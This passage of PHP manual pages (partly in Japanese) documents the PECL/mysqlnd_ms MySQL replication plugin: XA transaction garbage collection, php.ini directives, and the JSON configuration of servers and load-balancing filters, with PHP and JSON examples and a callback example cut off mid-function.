XA transactions use the two-phase commit protocol. The two-phase commit protocol is a blocking protocol. During the first phase participating servers begin a transaction and the client carries out its work. This phase is followed by a second voting phase. During voting, the servers first make a firm promise that they are ready to commit the work even in case of their possible unexpected failure. Should a server crash in this phase, it will still recall the aborted transaction after recover and wait for the client to decide on whether it shall be committed or rolled back.

Should a client that has initiated a global transaction crash after all the participating servers gave their promise to be ready to commit, then the servers must wait for a decision. The servers are not allowed to unilaterally decide on the transaction.

A client crash or disconnect from a participant, a server crash or server error during the fist phase of the protocol is uncritical. In most cases, the server will forget about the XA transaction and its work is rolled back. Additionally, the plugin tries to reach out to as many participants as it can to instruct the server to roll back the work immediately. It is not possible to disable this implicit rollback carried out by PECL/mysqlnd_ms in case of errors during the first phase of the protocol. This design decision has been made to keep the implementation simple.

An error during the second phase of the commit protocol can develop into a more severe situation. The servers will not forget about prepared but unfinished transactions in all cases. The plugin will not attempt to solve these cases immediately but waits for optional background garbage collection to ensure progress of the commit protocol. It is assumed that a solution will take significant time as it may include waiting for a participating server to recover from a crash. This time span may be longer than a developer and end user expects when trying to commit a global transaction with mysqlnd_ms_xa_commit(). Thus, the function returns with the unfinished global transaction still requiring attention. Please, be warned that at this point, it is not yet clear whether the global transaction will be committed or rolled back later on.

Errors during the second phase can be ignored, handled by yourself or solved by the build-int garbage collection logic. Ignoring them is not recommended as you may experience unfinished global transactions on your servers that block resources virtually indefinitely. Handling the errors requires knowing the participants, checking their state and issuing appropriate SQL commands on them. There are no user API calls to expose this very information. You will have to configure a state store and make the plugin record its actions in it to receive the desired facts.

Please, see the quickstart and related plugin configuration file settings for an example how to configure a state. In addition to configuring a state store, you have to setup some SQL tables. The table definitions are given in the description of the plugin configuration settings.

Setting up and configuring a state store is also a precondition for using the built-in garbage collection for XA transactions that fail during the second commit phase. Recording information about ongoing XA transactions is an unavoidable extra task. The extra task consists of updating the state store after each and every operation that changes the state of the global transaction itself (started, committed, rolled back, errors and aborts), the addition of participants (host, optionally user and password required to connect) and any changes to a participants state. Please note, depending on configuration and your security policies, these recordings may be considered sensitive. It is therefore recommended to restrict access to the state store. Unless the state store itself becomes overloaded, writing the state information may contribute noteworthy to the runtime but should overall be only a minor factor.

It is possible that the effort it takes to implement your own routines for handling XA transactions that failed during the second commit phase exceeds the benefits of using the XA feature of PECL/mysqlnd_ms in the first place. Thus, the manual focussed on using the built-on garbage collection only.

Garbage collection can be triggered manually or automatically in the background. You may want to call mysqlnd_ms_xa_gc() immediately after a commit failure to attempt to solve any failed but still open global transactions as soon as possible. You may also decide to disable the automatic background garbage collection, implement your own rule set for invoking the built-in garbage collection and trigger it when desired.

By default the plugin will start the garbage collection with a certain probability in the extensions internal RSHUTDOWN method. The request shutdown is called after your script finished. Whether the garbage collection will be triggered is determined by computing a random value between 1...1000 and comparing it with the configuration setting probability (default: 5). If the setting is greater or equal to the random value, the garbage collection will be triggered.

Once started, the garbage collection acts upon up to max_transactions_per_run (default: 100) global transactions recorded. Records include successfully finished but also unfinished XA transactions. Records for successful transactions are removed and unfinished transactions are attempted to be solved. There are no statistics that help you finding the right balance between keeping garbage collection runs short by limiting the number of transactions considered per run and preventing the garbage collection to fall behind, resulting in many records.

For each failed XA transaction the garbage collection makes max_retries (default: 5) attempts to finish it. After that PECL/mysqlnd_ms gives up. There are two possible reasons for this. Either a participating server crashed and has not become accessible again within max_retries invocations of the garbage collection, or there is a situation that the built-in garbage collection cannot cope with. Likely, the latter would be considered a bug. However, you can manually force more garbage collection runs calling mysqlnd_ms_xa_gc() with the appropriate parameter set. Should even those function runs fail to solve the situation, then the problem must be solved by an operator.

The function mysqlnd_ms_get_stats() provides some statistics on how many XA transactions have been started, committed, failed or rolled back.

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • 実行時設定
  • Plugin configuration file (>=1.1.x)

User Contributed Notes

There are no user contributed notes for this page.


要件

PHP 5.3.6 or newer. Some advanced functionality requires PHP 5.4.0 or newer.

The mysqlnd_ms replication and load balancing plugin supports all PHP applications and all available PHP MySQL extensions (mysqli, mysql, PDO_MYSQL). The PHP MySQL extension must be configured to use mysqlnd in order to be able to use the mysqlnd_ms plugin for mysqlnd.

User Contributed Notes

sergio dot tabanelli at gmail dot com 11-Mar-2018 08:46
There is now a PHP 7.* port of this extension with new cool functionalities, You can find it here https://github.com/sergiotabanelli/mysqlnd_ms
bar at nativ dot co dot il 21-Feb-2017 01:27
Be advised that PHP >= 7 isn't supported yet.
I had to downgrade PHP back to 5.6.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/mysqlnd_ms

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Mysqlnd_ms 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
mysqlnd_ms.enable | 0 | PHP_INI_SYSTEM |
mysqlnd_ms.force_config_usage | 0 | PHP_INI_SYSTEM |
mysqlnd_ms.ini_file | "" | PHP_INI_SYSTEM |
mysqlnd_ms.config_file | "" | PHP_INI_SYSTEM |
mysqlnd_ms.collect_statistics | 0 | PHP_INI_SYSTEM |
mysqlnd_ms.multi_master | 0 | PHP_INI_SYSTEM |
mysqlnd_ms.disable_rw_split | 0 | PHP_INI_SYSTEM |

以下に設定ディレクティブに関する 簡単な説明を示します。

mysqlnd_ms.enable int

Enables or disables the plugin. If disabled, the extension will not plug into mysqlnd to proxy internal mysqlnd C API calls.

mysqlnd_ms.force_config_usage int

If enabled, the plugin checks if the host (server) parameters value of any MySQL connection attempt, matches a section name from the plugin configuration file. If not, the connection attempt is blocked.

This setting is not only useful to restrict PHP to certain servers but also to debug configuration file problems. The configuration file validity is checked at two different stages. The first check is performed when PHP begins to handle a web request. At this point the plugin reads and decodes the configuration file. Errors thrown at this early stage in an extensions life cycle may not be shown properly to the user. Thus, the plugin buffers the errors, if any, and additionally displays them when establishing a connection to MySQL. By default a buffered startup error will emit an error of type E_WARNING. If force_config_usage is set, the error type used is E_RECOVERABLE_ERROR.

Please, see also configuration file debugging notes.

mysqlnd_ms.ini_file string

Plugin specific configuration file. This setting has been renamed to mysqlnd_ms.config_file in version 1.4.0.

mysqlnd_ms.config_file string

Plugin specific configuration file. This setting superseeds mysqlnd_ms.ini_file since 1.4.0.

mysqlnd_ms.collect_statistics int

Enables or disables the collection of statistics. The collection of statistics is disabled by default for performance reasons. Statistics are returned by the function mysqlnd_ms_get_stats().

mysqlnd_ms.multi_master int

Enables or disables support of MySQL multi master replication setups. Please, see also supported clusters.

mysqlnd_ms.disable_rw_split int

Enables or disables built-in read write splitting.

Controls whether load balancing and lazy connection functionality can be used independently of read write splitting. If read write splitting is disabled, only servers from the master list will be used for statement execution. All configured slave servers will be ignored.

The SQL hint MYSQLND_MS_USE_SLAVE will not be recognized. If found, the statement will be redirected to a master.

Disabling read write splitting impacts the return value of mysqlnd_ms_query_is_select(). The function will no longer propose query execution on slave servers.

注意: Multiple master servers

Setting mysqlnd_ms.multi_master=1 allows the plugin to use multiple master servers, instead of only the first master server of the master list.

Please, see also supported clusters.

User Contributed Notes

There are no user contributed notes for this page.


Plugin configuration file (>=1.1.x)

The following documentation applies to PECL/mysqlnd_ms >= 1.1.0-beta. It is not valid for prior versions. For documentation covering earlier versions, see the configuration documentation for mysqlnd_ms 1.0.x and below.

Introduction

注意: Changelog: Feature was added in PECL/mysqlnd_ms 1.1.0-beta

The below description applies to PECL/mysqlnd_ms >= 1.1.0-beta. It is not valid for prior versions.

The plugin uses its own configuration file. The configuration file holds information about the MySQL replication master server, the MySQL replication slave servers, the server pick (load balancing) policy, the failover strategy, and the use of lazy connections.

The plugin loads its configuration file at the beginning of a web request. It is then cached in memory and used for the duration of the web request. This way, there is no need to restart PHP after deploying the configuration file. Configuration file changes will become active almost instantly.

The PHP configuration directive mysqlnd_ms.config_file is used to set the plugins configuration file. Please note, that the PHP configuration directive may not be evaluated for every web request. Therefore, changing the plugins configuration file name or location may require a PHP restart. However, no restart is required to read changes if an already existing plugin configuration file is updated.

Using and parsing JSON is efficient, and using JSON makes it easier to express hierarchical data structures than the standard php.ini format.

例1 Converting a PHP array (hash) into JSON format

Or alternatively, a developer may be more familiar with the PHP array syntax, and prefer it. This example demonstrates how a developer might convert a PHP array to JSON.

<?php
$config = array(
  "myapp" => array(
    "master" => array(
      "master_0" => array(
        "host"   => "localhost",
        "socket" => "/tmp/mysql.sock",
      ),
    ),
    "slave" => array(),
  ),
);

file_put_contents("mysqlnd_ms.ini", json_encode($config, JSON_PRETTY_PRINT));
printf("mysqlnd_ms.ini file created...\n");
printf("Dumping file contents...\n");
printf("%s\n", str_repeat("-", 80));
echo file_get_contents("mysqlnd_ms.ini");
printf("\n%s\n", str_repeat("-", 80));
?>

上の例の出力は以下となります。

mysqlnd_ms.ini file created...
Dumping file contents...
--------------------------------------------------------------------------------
{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": [

        ]
    }
}
--------------------------------------------------------------------------------

A plugin configuration file consists of one or more sections. Sections are represented by the top-level object properties of the object encoded in the JSON file. Sections could also be called configuration names.

Applications reference sections by their name. Applications use section names as the host (server) parameter to the various connect methods of the mysqli, mysql and PDO_MYSQL extensions. Upon connect, the mysqlnd plugin compares the hostname with all of the section names from the plugin configuration file. If the hostname and section name match, then the plugin will load the settings for that section.

例2 Using section names example

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27"
            },
            "slave_1": {
                "host": "192.168.2.27",
                "port": 3306
            }
        }
    },
    "localhost": {
        "master": [
            {
                "host": "localhost",
                "socket": "\/path\/to\/mysql.sock"
            }
        ],
        "slave": [
            {
                "host": "192.168.3.24",
                "port": "3305"
            },
            {
                "host": "192.168.3.65",
                "port": "3309"
            }
        ]
    }
}
<?php
/* All of the following connections will be load balanced */
$mysqli = new mysqli("myapp", "username", "password", "database");
$pdo = new PDO('mysql:host=myapp;dbname=database', 'username', 'password');
$mysql = mysql_connect("myapp", "username", "password");

$mysqli = new mysqli("localhost", "username", "password", "database");
?>

Section names are strings. It is valid to use a section name such as 192.168.2.1, 127.0.0.1 or localhost. If, for example, an application connects to localhost and a plugin configuration section localhost exists, the semantics of the connect operation are changed. The application will no longer only use the MySQL server running on the host localhost, but the plugin will start to load balance MySQL queries following the rules from the localhost configuration section. This way you can load balance queries from an application without changing the applications source code. Please keep in mind, that such a configuration may not contribute to overall readability of your applications source code. Using section names that can be mixed up with host names should be seen as a last resort.

Each configuration section contains, at a minimum, a list of master servers and a list of slave servers. The master list is configured with the keyword master, while the slave list is configured with the slave keyword. Failing to provide a slave list will result in a fatal E_ERROR level error, although a slave list may be empty. It is possible to allow no slaves. However, this is only recommended with synchronous clusters, please see also supported clusters. The main part of the documentation focusses on the use of asynchronous MySQL replication clusters.

The master and slave server lists can be optionally indexed by symbolic names for the servers they describe. Alternatively, an array of descriptions for slave and master servers may be used.

例3 List of anonymous slaves

"slave": [
    {
        "host": "192.168.3.24",
        "port": "3305"
    },
    {
        "host": "192.168.3.65",
        "port": "3309"
    }
]

An anonymous server list is encoded by the JSON array type. Optionally, symbolic names may be used for indexing the slave or master servers of a server list, and done so using the JSON object type.

例4 Master list using symbolic names

"master": {
    "master_0": {
        "host": "localhost"
    }
}

It is recommended to index the server lists with symbolic server names. The alias names will be shown in error messages.

The order of servers is preserved and taken into account by mysqlnd_ms. If, for example, you configure round robin load balancing strategy, the first SELECT statement will be executed on the slave that appears first in the slave server list.

A configured server can be described with the host, port, socket, db, user, password and connect_flags. It is mandatory to set the database server host using the host keyword. All other settings are optional.

例5 Keywords to configure a server

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "db_server_host",
                "port": "db_server_port",
                "socket": "db_server_socket",
                "db": "database_resp_schema",
                "user": "user",
                "password": "password",
                "connect_flags": 0
            }
        },
        "slave": {
            "slave_0": {
                "host": "db_server_host",
                "port": "db_server_port",
                "socket": "db_server_socket"
            }
        }
    }
}

If a setting is omitted, the plugin will use the value provided by the user API call used to open a connection. Please, see the using section names example above.

The configuration file format has been changed in version 1.1.0-beta to allow for chained filters. Filters are responsible for filtering the configured list of servers to identify a server for execution of a given statement. Filters are configured with the filter keyword. Filters are executed by mysqlnd_ms in the order of their appearance. Defining filters is optional. A configuration section in the plugins configuration file does not need to have a filters entry.

Filters replace the pick[] setting from prior versions. The new random and roundrobin provide the same functionality.

例6 New roundrobin filter, old functionality

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            },
            "slave_1": {
                "host": "192.168.78.137",
                "port": "3306"
            }
        },
        "filters": {
            "roundrobin": [

            ]
        }
    }
}

The function mysqlnd_ms_set_user_pick_server() has been removed. Setting a callback is now done with the user filter. Some filters accept parameters. The user filter requires and accepts a mandatory callback parameter to set the callback previously set through the function mysqlnd_ms_set_user_pick_server().

例7 The user filter replaces mysqlnd_ms_set_user_pick_server()

"filters": {
    "user": {
        "callback": "pick_server"
    }
}

The validity of the configuration file is checked both when reading the configuration file and later when establishing a connection. The configuration file is read during PHP request startup. At this early stage a PHP extension may not display error messages properly. In the worst case, no error is shown and a connection attempt fails without an adequate error message. This problem has been cured in version 1.5.0.

例8 Common error message in case of configuration file issues (upto version 1.5.0)

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
?>

上の例の出力は以下となります。

Warning: mysqli::mysqli(): (mysqlnd_ms) (mysqlnd_ms) Failed to parse config file [s1.json]. Please, verify the JSON in Command line code

Warning: mysqli::mysqli(): (HY000/2002): php_network_getaddresses: getaddrinfo failed: Name or service not known in Command line code on line 1

Warning: mysqli::query(): Couldn't fetch mysqli in Command line code on line 1

Fatal error: Call to a member function fetch_assoc() on a non-object in Command line code on line 1

Since version 1.5.0 startup errors are additionally buffered and emitted when a connection attempt is made. Use the configuration directive mysqlnd_ms.force_config_usage to set the error type used to display buffered errors. By default an error of type E_WARNING will be emitted.

例9 Improved configuration file validation since 1.5.0

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
?>

上の例の出力は以下となります。

Warning: mysqli::mysqli(): (mysqlnd_ms) (mysqlnd_ms) Failed to parse config file [s1.json]. Please, verify the JSON in Command line code on line 1

It can be useful to set mysqlnd_ms.force_config_usage = 1 when debugging potential configuration file errors. This will not only turn the type of buffered startup errors into E_RECOVERABLE_ERROR but also help detecting misspelled section names.

例10 Possibly more precise error due to mysqlnd_ms.force_config_usage=1

mysqlnd_ms.force_config_usage=1
<?php
$mysqli = new mysqli("invalid_section", "username", "password", "database");
?>

上の例の出力は以下となります。

Warning: mysqli::mysqli(): (mysqlnd_ms) Exclusive usage of configuration enforced but did not find the correct INI file section (invalid_section) in Command line code on line 1 line 1

Configuration Directives

Here is a short explanation of the configuration directives that can be used.

master array or object

List of MySQL replication master servers. The list of either of the JSON type array to declare an anonymous list of servers or of the JSON type object. Please, see above for examples.

Setting at least one master server is mandatory. The plugin will issue an error of type E_ERROR if the user has failed to provide a master server list for a configuration section. The fatal error may read (mysqlnd_ms) Section [master] doesn't exist for host [name_of_a_config_section] in %s on line %d.

A server is described with the host, port, socket, db, user, password and connect_flags. It is mandatory to provide at a value for host. If any of the other values is not given, it will be taken from the user API connect call, please, see also: using section names example.

Table of server configuration keywords.

Keyword Description Version
host

Database server host. This is a mandatory setting. Failing to provide, will cause an error of type E_RECOVERABLE_ERROR when the plugin tries to connect to the server. The error message may read (mysqlnd_ms) Cannot find [host] in [%s] section in config in %s on line %d.

Since 1.1.0.
port

Database server TCP/IP port.

Since 1.1.0.
socket

Database server Unix domain socket.

Since 1.1.0.
db

Database (schemata).

Since 1.1.0.
user

MySQL database user.

Since 1.1.0.
password

MySQL database user password.

Since 1.1.0.
connect_flags

Connection flags.

Since 1.1.0.

The plugin supports using only one master server. An experimental setting exists to enable multi-master support. The details are not documented. The setting is meant for development only.

slave array or object

List of one or more MySQL replication slave servers. The syntax is identical to setting master servers, please, see master above for details.

The plugin supports using one or more slave servers.

Setting a list of slave servers is mandatory. The plugin will report an error of the type E_ERROR if slave is not given for a configuration section. The fatal error message may read (mysqlnd_ms) Section [slave] doesn't exist for host [%s] in %s on line %d. Note, that it is valid to use an empty slave server list. The error has been introduced to prevent accidentally setting no slaves by forgetting about the slave setting. A master-only setup is still possible using an empty slave server list.

If an empty slave list is configured and an attempt is made to execute a statement on a slave the plugin may emit a warning like mysqlnd_ms) Couldn't find the appropriate slave connection. 0 slaves to choose from. upon statement execution. It is possible that another warning follows such as (mysqlnd_ms) No connection selected by the last filter.

global_transaction_id_injection array or object

Global transaction identifier configuration related to both the use of the server built-in global transaction ID feature and the client-side emulation.

Keyword Description Version
fetch_last_gtid

SQL statement for accessing the latest global transaction identifier. The SQL statement is run if the plugin needs to know the most recent global transaction identifier. This can be the case, for example, when checking MySQL Replication slave status. Also used with mysqlnd_ms_get_last_gtid().

Since 1.2.0.
check_for_gtid

SQL statement for checking if a replica has replicated all transactions up to and including ones searched for. The SQL statement is run when searching for replicas which can offer a higher level of consistency than eventual consistency. The statement must contain a placeholder #GTID which is to be replaced with the global transaction identifier searched for by the plugin. Please, check the quickstart for examples.

Since 1.2.0.
report_errors

Whether to emit an error of type warning if an issue occurs while executing any of the configured SQL statements.

Since 1.2.0.
on_commit

Client-side global transaction ID emulation only. SQL statement to run when a transaction finished to update the global transaction identifier sequence number on the master. Please, see the quickstart for examples.

Since 1.2.0.
wait_for_gtid_timeout

Instructs the plugin to wait up to wait_for_gtid_timeout seconds for a slave to catch up when searching for slaves that can deliver session consistency. The setting limits the time spend for polling the slave status. If polling the status takes very long, the total clock time spend waiting may exceed wait_for_gtid_timeout. The plugin calls sleep(1) to sleep one second between each two polls.

The setting can be used both with the plugins client-side emulation and the server-side global transaction identifier feature of MySQL 5.6.

Waiting for a slave to replicate a certain GTID needed for session consistency also means throttling the client. By throttling the client the write load on the master is reduced indirectly. A primary copy based replication system, such as MySQL Replication, is given more time to reach a consistent state. This can be desired, for example, to increase the number of data copies for high availability considerations or to prevent the master from being overloaded.

Since 1.4.0.
fabric object

MySQL Fabric related settings. If the plugin is used together with MySQL Fabric, then the plugins configuration file no longer contains lists of MySQL servers. Instead, the plugin will ask MySQL Fabric which list of servers to use to perform a certain task.

A minimum plugin configuration for use with MySQL Fabric contains a list of one or more MySQL Fabric hosts that the plugin can query. If more than one MySQL Fabric host is configured, the plugin will use a roundrobin strategy to choose among them. Other strategies are currently not available.

例11 Minimum pluging configuration for use with MySQL Fabric

{
    "myapp": {
        "fabric": {
            "hosts": [
                {
                    "host" : "127.0.0.1",
                    "port" : 8080
                }
            ]
        }
    }
}

Each MySQL Fabric host is described using a JSON object with the following members.

Keyword Description Version
host

Host name of the MySQL Fabric host.

Since 1.6.0.
port

The TCP/IP port on which the MySQL Fabric host listens for remote procedure calls sent by clients such as the plugin.

Since 1.6.0.

The plugin is using PHP streams to communicate with MySQL Fabric through XML RPC over HTTP. By default no timeouts are set for the network communication. Thus, the plugin defaults to PHP stream default timeouts. Those defaults are out of control of the plugin itself.

An optional timeout value can be set to overrule the PHP streams default timeout setting. Setting the timeout in the plugins configuration file has the same effect as setting a timeout for a PHP user space HTTP connection established through PHP streams.

The plugins Fabric timeout value unit is seconds. The allowed value range is from 0 to 65535. The setting exists since version 1.6.

例12 Optional timeout for communication with Fabric

{
    "myapp": {
        "fabric": {
            "hosts": [
                {
                    "host" : "127.0.0.1",
                    "port" : 8080
                }
            ],
            "timeout": 2
        }
    }
}

Transaction stickiness and MySQL Fabric logic can collide. The stickiness option disables switching between servers for the duration of a transaction. When using Fabric and sharding the user may (erroneously) start a local transaction on one share and then attempt to switch to a different shard using either mysqlnd_ms_fabric_select_shard() or mysqlnd_ms_fabric_select_global(). In this case, the plugin will not reject the request to switch servers in the middle of a transaction but allow the user to switch to another server regardless of the transaction stickiness setting used. It is clearly a user error to write such code.

If transaction stickiness is enabled and you would like to get an error of type warning when calling mysqlnd_ms_fabric_select_shard() or mysqlnd_ms_fabric_select_global(), set the boolean flag trx_warn_server_list_changes.

例13 Warnings about the violation of transaction boundaries

{
    "myapp": {
        "fabric": {
            "hosts": [
                {
                    "host" : "127.0.0.1",
                    "port" : 8080
                }
            ],
            "trx_warn_serverlist_changes": 1
        },
        "trx_stickiness": "on"
    }
}
<?php
$link = new mysqli("myapp", "root", "", "test");
/*
  For the demo the call may fail.
  Failed or not we get into the state
  needed for the example.
*/
@mysqlnd_ms_fabric_select_global($link, 1);
$link->begin_transaction();
@$link->query("DROP TABLE IF EXISTS test");
/*
  Switching servers/shards is a mistake due to open
  local transaction!
*/
mysqlnd_ms_select_global($link, 1);
?>

上の例の出力は以下となります。

PHP Warning: mysqlnd_ms_fabric_select_global(): (mysqlnd_ms) Fabric server exchange in the middle of a transaction in %s on line %d

Please, consider the feature experimental. Changes to syntax and semantics may happen.

filters object

List of filters. A filter is responsible to filter the list of available servers for executing a given statement. Filters can be chained. The random and roundrobin filter replace the pick[] directive used in prior version to select a load balancing policy. The user filter replaces the mysqlnd_ms_set_user_pick_server() function.

Filters may accept parameters to refine their actions.

If no load balancing policy is set, the plugin will default to random_once. The random_once policy picks a random slave server when running the first read-only statement. The slave server will be used for all read-only statements until the PHP script execution ends. No load balancing policy is set and thus, defaulting takes place, if neither the random nor the roundrobin are part of a configuration section.

If a filter chain is configured so that a filter which output no more than once server is used as input for a filter which should be given more than one server as input, the plugin may emit a warning upon opening a connection. The warning may read: (mysqlnd_ms) Error while creating filter '%s' . Non-multi filter '%s' already created. Stopping in %s on line %d. Furthermore, an error of the error code 2000, the sql state HY000 and an error message similar to the warning may be set on the connection handle.

例14 Invalid filter sequence

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "filters": [
            "roundrobin",
            "random"
        ]
    }
}
<?php
$link = new mysqli("myapp", "root", "", "test");
printf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error());
$link->query("SELECT 1 FROM DUAL");
?>

上の例の出力は以下となります。

PHP Warning:  mysqli::mysqli(): (HY000/2000): (mysqlnd_ms) Error while creating filter 'random' . Non-multi filter 'roundrobin' already created. Stopping in filter_warning.php on line 1
[2000] (mysqlnd_ms) Error while creating filter 'random' . Non-multi filter 'roundrobin' already created. Stopping
PHP Warning:  mysqli::query(): Couldn't fetch mysqli in filter_warning.php on line 3

Filter: random object

The random filter features the random and random once load balancing policies, set through the pick[] directive in older versions.

The random policy will pick a random server whenever a read-only statement is to be executed. The random once strategy picks a random slave server once and continues using the slave for the rest of the PHP web request. Random once is a default, if load balancing is not configured through a filter.

If the random filter is not given any arguments, it stands for random load balancing policy.

例15 Random load balancing with random filter

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            },
            "slave_1": {
                "host": "192.168.78.137",
                "port": "3306"
            }
        },
        "filters": [
            "random"
        ]
    }
}

Optionally, the sticky argument can be passed to the filter. If the parameter sticky is set to the string 1, the filter follows the random once load balancing strategy.

例16 Random once load balancing with random filter

{
    "filters": {
        "random": {
            "sticky": "1"
        }
    }
}

Both the random and roundrobin filters support setting a priority, a weight for a server, since PECL/mysqlnd_ms 1.4.0. If the weight argument is passed to the filter, it must assign a weight for all servers. Servers must be given an alias name in the slave respectively master server lists. The alias must be used to reference servers for assigning a priority with weight.

例17 Referencing error

[E_RECOVERABLE_ERROR] mysqli_real_connect(): (mysqlnd_ms) Unknown server 'slave3' in 'random' filter configuration. Stopping in %s on line %d

Using a wrong alias name with weight may result in an error similar to the shown above.

If weight is omitted, the default weight of all servers is one.

例18 Assigning a weight for load balancing

{
   "myapp": {
       "master": {
           "master1":{
               "host":"localhost",
               "socket":"\/var\/run\/mysql\/mysql.sock"
           }
       },
       "slave": {
           "slave1": {
               "host":"192.168.2.28",
               "port":3306
           },
           "slave2": {
               "host":"192.168.2.29",
               "port":3306
           },
           "slave3": {
               "host":"192.0.43.10",
               "port":3306
           },
       },
       "filters": {
           "random": {
               "weights": {
                   "slave1":8,
                   "slave2":4,
                   "slave3":1,
                   "master1":1
               }
           }
       }
   }
}

At the average a server assigned a weight of two will be selected twice as often as a server assigned a weight of one. Different weights can be assigned to reflect differently sized machines, to prefer co-located slaves which have a low network latency or, to configure a standby failover server. In the latter case, you may want to assign the standby server a very low weight in relation to the other servers. For example, given the configuration above slave3 will get only some eight percent of the requests in the average. As long as slave1 and slave2 are running, it will be used sparsely, similar to a standby failover server. Upon failure of slave1 and slave2, the usage of slave3 increases. Please, check the notes on failover before using weight this way.

Valid weight values range from 1 to 65535.

Unknown arguments are ignored by the filter. No warning or error is given.

The filter expects one or more servers as input. Outputs one server. A filter sequence such as random, roundrobin may cause a warning and an error message to be set on the connection handle when executing a statement.

List of filter arguments.

Keyword Description Version
sticky

Enables or disabled random once load balancing policy. See above.

Since 1.2.0.
weight

Assigns a load balancing weight/priority to a server. Please, see above for a description.

Since 1.4.0.
Filter: roundrobin object

If using the roundrobin filter, the plugin iterates over the list of configured slave servers to pick a server for statement execution. If the plugin reaches the end of the list, it wraps around to the beginning of the list and picks the first configured slave server.

例19 roundrobin filter

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "filters": [
            "roundrobin"
        ]
    }
}

Expects one or more servers as input. Outputs one server. A filter sequence such as roundrobin, random may cause a warning and an error message to be set on the connection handle when executing a statement.

List of filter arguments.

Keyword Description Version
weight

Assigns a load balancing weight/priority to a server. Please, find a description above.

Since 1.4.0.
Filter: user object

The user replaces mysqlnd_ms_set_user_pick_server() function, which was removed in 1.1.0-beta. The filter sets a callback for user-defined read/write splitting and server selection.

The plugins built-in read/write query split mechanism decisions can be overwritten in two ways. The easiest way is to prepend a query string with the SQL hints MYSQLND_MS_MASTER_SWITCH, MYSQLND_MS_SLAVE_SWITCH or MYSQLND_MS_LAST_USED_SWITCH. Using SQL hints one can control, for example, whether a query shall be send to the MySQL replication master server or one of the slave servers. By help of SQL hints it is not possible to pick a certain slave server for query execution.

Full control on server selection can be gained using a callback function. Use of a callback is recommended to expert users only because the callback has to cover all cases otherwise handled by the plugin.

The plugin will invoke the callback function for selecting a server from the lists of configured master and slave servers. The callback function inspects the query to run and picks a server for query execution by returning the hosts URI, as found in the master and slave list.

If the lazy connections are enabled and the callback chooses a slave server for which no connection has been established so far and establishing the connection to the slave fails, the plugin will return an error upon the next action on the failed connection, for example, when running a query. It is the responsibility of the application developer to handle the error. For example, the application can re-run the query to trigger a new server selection and callback invocation. If so, the callback must make sure to select a different slave, or check slave availability, before returning to the plugin to prevent an endless loop.

例20 Setting a callback

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "filters": {
            "user": {
                "callback": "pick_server"
            }
        }
    }
}

The callback is supposed to return a host to run the query on. The host URI is to be taken from the master and slave connection lists passed to the callback function. If callback returns a value neither found in the master nor in the slave connection lists the plugin will emit an error of the type E_RECOVERABLE_ERROR The error may read like (mysqlnd_ms) User filter callback has returned an unknown server. The server 'server that is not in master or slave list' can neither be found in the master list nor in the slave list. If the application catches the error to ignore it, follow up errors may be set on the connection handle, for example, (mysqlnd_ms) No connection selected by the last filter with the error code 2000 and the sqlstate HY000. Furthermore a warning may be emitted.

Referencing a non-existing function as a callback will result in any error of the type E_RECOVERABLE_ERROR whenever the plugin tries to callback function. The error message may reads like: (mysqlnd_ms) Specified callback (pick_server) is not a valid callback. If the application catches the error to ignore it, follow up errors may be set on the connection handle, for example, (mysqlnd_ms) Specified callback (pick_server) is not a valid callback with the error code 2000 and the sqlstate HY000. Furthermore a warning may be emitted.

The following parameters are passed from the plugin to the callback.

Parameter Description Version
connected_host

URI of the currently connected database server.

Since 1.1.0.
query

Query string of the statement for which a server needs to be picked.

Since 1.1.0.
masters

List of master servers to choose from. Note, that the list of master servers may not be identical to the list of configured master servers if the filter is not the first in the filter chain. Previously run filters may have reduced the master list already.

Since 1.1.0.
slaves

List of slave servers to choose from. Note, that the list of slave servers may not be identical to the list of configured slave servers if the filter is not the first in the filter chain. Previously run filters may have reduced the slave list already.

Since 1.1.0.
last_used_connection

URI of the server of the connection used to execute the previous statement on.

Since 1.1.0.
in_transaction

Boolean flag indicating whether the statement is part of an open transaction. If autocommit mode is turned off, this will be set to true. Otherwise it is set to false.

Transaction detection is based on monitoring the mysqlnd library call set_autocommit. Monitoring is not possible before PHP 5.4.0. Please, see connection pooling and switching concepts discussion for further details.

Since 1.1.0.

例21 Using a callback

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            },
            "slave_1": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "filters": {
            "user": {
                "callback": "pick_server"
            }
        }
    }
}
<?php
function pick_server($connected, $query, $masters, $slaves, $last_used_connection, $in_transaction)
{
 static $slave_idx = 0;
 static $num_slaves = NULL;
 if (is_null($num_slaves))
  $num_slaves = count($slaves);

 /* default: fallback to the plugins build-in logic */
